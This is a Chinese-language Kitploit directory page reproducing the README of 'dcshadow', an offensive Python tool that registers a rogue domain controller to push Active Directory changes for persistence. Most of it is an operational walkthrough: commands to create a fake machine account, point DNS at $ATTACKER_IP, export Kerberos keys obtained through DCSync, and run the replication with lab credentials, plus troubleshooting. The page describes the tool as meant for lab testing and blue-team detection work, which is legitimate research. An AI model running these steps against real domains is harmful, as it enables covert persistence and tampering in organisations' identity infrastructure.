Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dcshadow — Python alternative to Mimikatz lsadump::dcshadow | Kitploit
工具/GitHubGitHub/shutdownrepo/dcshadow
Defensive ToolsPersistence MechanismsPost-ExploitationPenetration TestingRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python alternative to Mimikatz lsadump::dcshadow

查看仓库
162171年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[!WARNING] 请勿在生产环境运行。本工具仅用于实验室测试,供蓝队识别 IoC、事件类型和行为。 此外,本工具按原样提供。除您可能创建的拉取请求的标准审查外,暂无支持计划。 不要在 Windows 主机上运行。请在 Linux 或虚拟机中运行(以避免 RPC 服务冲突)。

理论

本项目旨在成为 Mimikatz dcshadow 技术的纯 Python 替代方案。其中包含一个自定义 Impacket,且对 crypto、gssapi 和 drsuapi 等进行了修改。

DCShadow 是一种强大的持久化技术,可视为其他技术(如 SID 历史、KRBTGT RBCD、ACE 滥用 等)的传输载体。

该工具可以成为更通用的 AD 持久化框架的基础,供我们的社区使用,以提高我们在这一问题上的整体成熟度。

该工具已在 GOAD 上完成测试。

实操

0. 安装

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. 创建机器账户

在复制期间,该机器将注册为域控制器,并在结束时取消注册。

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py 已被修改,将 msDS-SupportedEncryptionTypes 设置为 0x1f。最新测试似乎会引发约束冲突。

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

目前,请使用 Impacket 自带的 addcomputer.py 脚本,并通过 ADSI 编辑手动修改 msDS-SupportedEncryptionTypes。

2. 机器的 DNS 记录

这是为了让合法 DC 知道如何访问恶意 DC,并避免出现 ERROR_DS_DNS_LOOKUP_FAILURE 错误。

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] 如果命令因某些原因无法生效,可以通过域控制器上的 DNS 工具手动添加 DNS 记录。

3. 恶意 DC 凭据

在开发该工具之初,我们使用 .env 文件中的硬编码凭据,并在 dcshadow/utils/server/RpcServer.py 文件的 gss_kerberos_ap_req 函数中加载。

这显然需要改进。恶意 DC 账户的密码可以通过命令行参数传入,并计算出 Kerberos 密钥。Krbrelayx 已经实现了这一点,dacledit.py 也如此,只需复制粘贴即可。

目前,您需要将 Kerberos 密钥导出为环境变量。

应如下所示:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

这些密钥可通过 DCSync 攻击获取。

4. DCShadow (JSON 文件)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] 在此示例中,使用 repl.json 文件来指定目标对象和属性。此外,该工具还支持内联选项(例如 --object、--attribute 和 --value)。

常见错误

DRSReplicaAdd: 超时

如果 DRSReplicaAdd 超时,很可能是运行 dcshadow.py(恶意 DC)的机器存在网络/防火墙问题,未允许 135/TCP(epmapper)和 1337/TCP(如果将来实现动态端口,则为 drsuapi)上的入站流量。

DRSReplicaAdd: rpc_s_access_denied

您需要在合法域控制器上运行 Wireshark,但最可能的根本原因是您在 Windows 机器上运行该工具。这意味着当合法 DC 向恶意 DC 的 epmapper 询问 drsuapi 端点的端口时,应答为空,因为响应的是您自己 Windows 机器的 epmapper,而不是我们自定义的 epmapper。

致谢

如果没有在开发过程中遇到的才华横溢的研究者 Alessandro Iandoli "MrAle98" 的巨大帮助,本项目不可能完成。感谢 Alessandro!

感谢 Benjamin Delpy 和 Vincent Letoux 的初始发现、演讲以及在 Mimikatz 中的实现。

我还要感谢 Volker,他参与了早期开发。

感谢 Dramelac 帮助将 PoC 转化为模块化项目,成为未来框架的基础,如果有那一天的话。

下载工具